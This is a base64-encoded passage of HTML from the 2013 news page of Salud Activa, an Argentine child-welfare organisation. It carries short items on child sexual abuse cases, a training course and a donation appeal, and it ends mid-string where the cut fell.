ICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjA2LzA2LzIwMTM8L3NwYW4+PGJyPkFidXNvIHNleHVhbCBpbmZhbnRpbC4gRGVzYWZpb3MgZGUgbGEgY2xpbmljYSBhY3R1YWw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkFiaWVydGEgbGEgaW5zY3JpcGNpb248L3A+DQo8cD5Eb2NlbnRlczogTGljLiBNYXJpYSBCZWF0cml6IE0mdXVtbDtsbGVyLiBMaWMuIFBhb2xhIE11Jm50aWxkZTtveiBEdWFydGU8L3A+DQo8cD5JbmljaW86IE1pZXJjb2xlcyAxOSBkZSBKdW5pbzwvcD4NCjxwPkZyZWN1ZW5jaWE6IFNlbWFuYWw8L3A+DQo8cD5Nb2RhbGlkYWQ6IEludGVuc2l2YTwvcD4NCjxwPkNvbnRlbmlkb3M6ICZuYnNwOyBFc3RhIGRlc3RpbmFkbyBhIHRvZG9zIGxvcyBwcm9mZXNpb25hbGVzIGNvbXByb21ldGlkb3MgY29uIGxhIHRlbWF0aWNhIGRlbCBhYnVzbyBpbmZhbnRpbCBxdWUgcXVpZXJhbiBhY3R1YWxpemFyc2UgZSBpbnRlcmNhbWJpYXIgZXhwZXJpZW5jaWFzIGRlIHRyYWJham8uLi48L3A+DQo8cD4mbmJzcDs8L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDQiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTYwNTIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xNi8wNS8yMDEzPC9zcGFuPjxicj5TYWx1ZCBBY3RpdmEgbmVjZXNpdGEgZGUgdHUgYXl1ZGEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5UcmFiYWphbW9zIGNvbW8gcG9kZW1vczogYmEmbnRpbGRlO29zIHJvdG9zLCBzdXNwZW5zaSZvYWN1dGU7biBkZSByZXVuaW9uZXMgcG9yIGNvcnRlcyBkZSBsdXogeSBhZ3VhLCBqdWd1ZXRlcyB2aWVqb3MsIG1lc2VzIGRlIGF0cmFzbyBlbiBlbCBwYWdvIGRlIHN1cyBwcm9mZXNpb25hbGVzIGRlIGxhIHNhbHVkLiBSZWNpZW50ZW1lbnRlIHR1dmltb3MgcXVlIGNlcnJhciBudWVzdHJvIHF1ZXJpZG8gSG9nYXI6ICZsZHF1bztNZXRhbW9yZm9zaXMmcmRxdW87IGVyYSBlbCBsdWdhciBxdWUgc3VwbyBjb250ZW5lciBhIG5pJm50aWxkZTthcyB5IGomb2FjdXRlO3ZlbmVzIHJlc2NhdGFkYSBkZSByZWRlcyBkZSB0cmF0YSBvIHYmaWFjdXRlO2N0aW1hcyBkZSBhYnVzbyBpbnRyYWZhbWlsaWFyLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAzLzA1LzIwMTM8L3NwYW4+PGJyPlJFUFVESU8gQSBMQSBQUkVTRU5DSUEgRU4gTEEgRkVSSUEgREVMIExJQlJPIERFIFVOIEVYIEpVRVogQUNVU0FETyBERSBBQlVTTyBTRVhVQUw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkZ1ZSBjYW1hcmlzdGEgZW4gTWFyIGRlbCBQbGF0YSBkdXJhbnRlIGxhIGRpY3RhZHVyYS4gSGFjZSBhJm50aWxkZTtvcywgdmFyaWFzIG11amVyZXMgbG8gYWN1c2Fyb24gZGUgaGFiZXIgYWJ1c2FkbyBkZSBlbGxhcyBjdWFuZG8gZXJhbiBuaSZudGlsZGU7YXMuIExhIGNhdXNhIHByZXNjcmliaSZvYWN1dGU7IHkgbm8gaHVibyBjb25kZW5hLiBNYSZudGlsZGU7YW5hIHRpZW5lIHByZXZpc3RvIGZpcm1hciBzdSBsaWJyby4gRXNhcyBtaXNtYXMgbXVqZXJlcyBwaWRlbiBxdWUgbm8gc2VhIGFkbWl0aWRvIGVuIGxhIGZlcmlhLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDIiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgIDwhLS0gRklOIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgIDwvdGFibGU+ICAgICAgICA8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iNSUiIGFsaWduPSJyaWdodCI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCB3aWR0aD0iMSUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4KICAgIDx0ZCB3aWR0aD0iMiUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgPC90cj4KICAKICA8dGQ+CiAgPHRyPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0ciBhbGlnbj0iY2VudGVyIj4KICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgPHRkIHdpZHRoPSI5NyIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iNTQ2IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idGl0dWxvaG9tZTIiPjx0YWJsZSB3aWR0aD0iIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImxlZnQiIHZhbGlnbj0iYm90dG9tIiBjbGFzcz0idGl0dWxvaG9tZTIiPlJhbmtpbmc8L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSIgY2xhc3M9InRpdHVsb2hvbWUyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iIiBoZWlnaHQ9IjM1IiBhbGlnbj0ibGVmdCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPiZidWxsO0xhcyBtJmFhY3V0ZTtzIGxlaWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW5pZG9ob21lIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY29udGVuaWRvaG9tZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+JmJ1bGw7TGFzIG0mYWFjdXRlO3MgY29tZW50YWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTHVkb3RlY2EgR2FyYWJhdG8gLSBQcm95ZWN0byBzYWx1ZGFjdGl2YSwgUG9yIHVuYSBpbmZhbmNpYSBmZWxpeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOSUiIGJnY29sb3I9IiNFRkVGRUYiPjwvdGQ+CiAgIC